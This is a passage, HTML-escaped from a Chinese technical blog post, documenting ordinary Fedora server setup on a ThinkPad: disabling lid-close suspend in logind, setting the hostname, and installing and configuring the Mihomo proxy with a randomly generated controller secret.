&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; sudo tee /etc/systemd/logind.conf.d/10-ignore-lid.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;tee&lt;/code&gt; 原样输出了写入的内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[Login]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HandleLidSwitch=ignore
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HandleLidSwitchExternalPower=ignore
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HandleLidSwitchDocked=ignore
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;三个配置分别覆盖普通状态、连接外部电源和 docked 状态。展开主配置和所有 drop-in，只查看末尾几行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemd-analyze cat-config systemd/logind.conf &lt;span class="p"&gt;|&lt;/span&gt; tail -n &lt;span class="m"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#DesignatedMaintenanceTime=
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#WallMessages=yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# /etc/systemd/logind.conf.d/10-ignore-lid.conf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[Login]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HandleLidSwitch=ignore
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HandleLidSwitchExternalPower=ignore
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HandleLidSwitchDocked=ignore
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;systemd-logind&lt;/code&gt; 需要重新加载配置。直接重启它可能影响当前登录会话，所以完成这一轮配置后直接重启了整台机器：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重启后重新连接，再次展开配置，仍然得到上面相同的结果，说明 drop-in 已经跨重启加载。配置侧的验证已经完成；是否真的能在物理合盖后继续通过 SSH 连接，还需要实际合盖测试，不能仅凭配置文件下结论。&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://www.freedesktop.org/software/systemd/man/latest/logind.conf.html" target="_blank" rel="noopener"
&gt;systemd - logind.conf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.freedesktop.org/wiki/Software/systemd/logind/" target="_blank" rel="noopener"
&gt;systemd - logind&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="设置-hostname"&gt;设置 Hostname
&lt;/h3&gt;&lt;p&gt;设置为 ThinkPad。&lt;/p&gt;
&lt;p&gt;根据 &lt;a class="link" href="https://docs.fedoraproject.org/en-US/quick-docs/changing-hostname/" target="_blank" rel="noopener"
&gt;Fedora 官方的 Changing Hostname 文档&lt;/a&gt;，可以使用 &lt;code&gt;hostnamectl set-hostname&lt;/code&gt; 设置主机名。静态 hostname 会用于网络解析，按照惯例使用全小写的 &lt;code&gt;thinkpad&lt;/code&gt;；另外把给人看的 pretty hostname 设置成 &lt;code&gt;ThinkPad&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo hostnamectl set-hostname --static thinkpad
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo hostnamectl set-hostname --pretty ThinkPad
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;设置后查看结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hostnamectl status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际输出的开头是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Static hostname: thinkpad
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Pretty hostname: ThinkPad
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重启后重新连接，再单独确认静态 hostname：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hostname
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;thinkpad
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;设置已经写入 &lt;code&gt;/etc/hostname&lt;/code&gt;。重启后的新 SSH 会话可以正常连接，&lt;code&gt;hostnamectl&lt;/code&gt; 和 &lt;code&gt;hostname&lt;/code&gt; 都保留了新名称。&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://docs.fedoraproject.org/en-US/quick-docs/changing-hostname/" target="_blank" rel="noopener"
&gt;Fedora Docs - Changing Hostname&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.freedesktop.org/software/systemd/man/latest/hostnamectl.html" target="_blank" rel="noopener"
&gt;hostnamectl(1)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="中国大陆网络环境与代理"&gt;中国大陆网络环境与代理
&lt;/h2&gt;&lt;p&gt;我使用机场提供的 Clash 配置，并用 &lt;a class="link" href="https://github.com/MetaCubeX/mihomo" target="_blank" rel="noopener"
&gt;Mihomo&lt;/a&gt; 内核接管这台机器的网络。目标是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用订阅中确切名称为 &lt;code&gt;🇯🇵 日本 03&lt;/code&gt; 的节点；&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;rule&lt;/code&gt; 模式，不把所有流量无条件送进代理；&lt;/li&gt;
&lt;li&gt;开启 TUN，让没有单独配置代理环境变量的程序也能按规则联网；&lt;/li&gt;
&lt;li&gt;由 systemd 管理并开机启动；&lt;/li&gt;
&lt;li&gt;允许局域网设备通过外部控制器管理，但避开 Cockpit 使用的 &lt;code&gt;9090&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;控制器必须使用随机密钥，订阅和密钥均不写入博客或 Git。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;配置字段以 Mihomo 官方 Wiki 为依据：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://wiki.metacubex.one/config/general/" target="_blank" rel="noopener"
&gt;常规配置：运行模式、外部控制器、secret 与 profile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://wiki.metacubex.one/config/inbound/tun/" target="_blank" rel="noopener"
&gt;TUN 配置&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://wiki.metacubex.one/config/proxy-groups/select/" target="_blank" rel="noopener"
&gt;Select 策略组&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://wiki.metacubex.one/config/dns/" target="_blank" rel="noopener"
&gt;DNS 配置&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="传输并检查订阅"&gt;传输并检查订阅
&lt;/h3&gt;&lt;p&gt;先从 MacBook 用 &lt;code&gt;rsync&lt;/code&gt; 把订阅传到 ThinkPad 的家目录：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rsync -av --progress &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /Users/veno/Documents/AmyTelecom_Clash.yaml &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; veno@172.16.51.113:/home/veno/AmyTelecom_Clash.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际传输了 &lt;code&gt;371525&lt;/code&gt; 字节：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sending incremental file list
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AmyTelecom_Clash.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 371,525 100% 323.06MB/s 0:00:00 (xfr#1, to-chk=0/1)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sent 371,729 bytes received 35 bytes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;total size is 371,525 speedup is 1.00
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;在本地只解析配置结构，不打印节点服务器、端口、UUID、DNS token 等敏感字段。得到的信息是：配置本身已经启用 DNS，模式为 &lt;code&gt;Rule&lt;/code&gt;，包含 58 个节点、22 个 &lt;code&gt;select&lt;/code&gt; 策略组和 7529 条规则。目标节点在文件中的确切名称不是简单的“日本03”，而是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;🇯🇵 日本 03
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;主策略组名为 &lt;code&gt;Proxies&lt;/code&gt;，它包含这个节点。其他流媒体和服务策略组大多先引用 &lt;code&gt;Proxies&lt;/code&gt;，而 Bilibili、Microsoft、Apple 等组原本把直连放在第一位。为了保留机场规则原本表达的意图，我只把 &lt;code&gt;Proxies&lt;/code&gt; 的默认选择改为日本节点，不强行覆盖所有专用策略组。&lt;/p&gt;
&lt;h3 id="安装-mihomo"&gt;安装 Mihomo
&lt;/h3&gt;&lt;p&gt;Fedora 和已经启用的 RPM Fusion 中没有找到 &lt;code&gt;mihomo&lt;/code&gt; 软件包，于是从 &lt;a class="link" href="https://github.com/MetaCubeX/mihomo/releases" target="_blank" rel="noopener"
&gt;MetaCubeX 官方 GitHub Releases&lt;/a&gt; 获取 RPM。查询时的最新版本是 &lt;code&gt;v1.19.28&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;第一次直接用 DNF 安装：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; https://github.com/MetaCubeX/mihomo/releases/download/v1.19.28/mihomo-linux-amd64-v1.19.28.rpm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;DNF 又在刷新 RPM Fusion 元数据时被坏镜像拖住了：SJTU 持续返回 HTTP 400，美国备用镜像随后超时。这个错误与 Mihomo 的 GitHub RPM 本身无关。中断后，在本次安装中临时禁用 RPM Fusion 仓库：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install --disablerepo&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;rpmfusion-*&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; https://github.com/MetaCubeX/mihomo/releases/download/v1.19.28/mihomo-linux-amd64-v1.19.28.rpm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际安装的软件包是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mihomo x86_64 1.19.28-1 @commandline
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;完成！
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;查看内核版本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mihomo -v
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mihomo Meta v1.19.28 linux amd64 with go1.26.5 Wed Jul 8 00:20:38 UTC 2026
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use tags: with_gvisor
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;官方 RPM 已经提供了 &lt;code&gt;/usr/bin/mihomo&lt;/code&gt;、&lt;code&gt;/etc/mihomo/config.yaml&lt;/code&gt;、&lt;code&gt;mihomo.service&lt;/code&gt; 和 &lt;code&gt;mihomo@.service&lt;/code&gt;。其中 &lt;code&gt;mihomo.service&lt;/code&gt; 的启动命令是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/mihomo -d /etc/mihomo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;unit 还预先限制并授予了 &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt;、&lt;code&gt;CAP_NET_RAW&lt;/code&gt; 等 capability，足够创建 TUN 和配置路由，不需要自己再写一个权限边界更宽的 root service。&lt;/p&gt;
&lt;h3 id="生成实际配置"&gt;生成实际配置
&lt;/h3&gt;&lt;p&gt;控制器使用 &lt;code&gt;9091/tcp&lt;/code&gt;。执行前用下面的命令确认端口没有被占用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ss -ltn &lt;span class="s1"&gt;&amp;#39;( sport = :9091 )&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;输出只有表头，没有监听项。&lt;/p&gt;
&lt;p&gt;先生成一个 256-bit 随机控制器密钥。密钥保存在用户目录中，权限为 &lt;code&gt;0600&lt;/code&gt;；博客只记录路径，不记录内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir -p -m &lt;span class="m"&gt;700&lt;/span&gt; ~/.config/mihomo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;openssl rand -hex 32&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$secret&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt; ~/.config/mihomo/controller-secret
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;600&lt;/span&gt; ~/.config/mihomo/controller-secret
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后把订阅安装到 &lt;code&gt;/etc/mihomo/config.yaml&lt;/code&gt;，权限同样设为 &lt;code&gt;0600&lt;/code&gt;，并去掉原文件混用的 CRLF 行尾：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo install -d -m &lt;span class="m"&gt;700&lt;/span&gt; /etc/mihomo
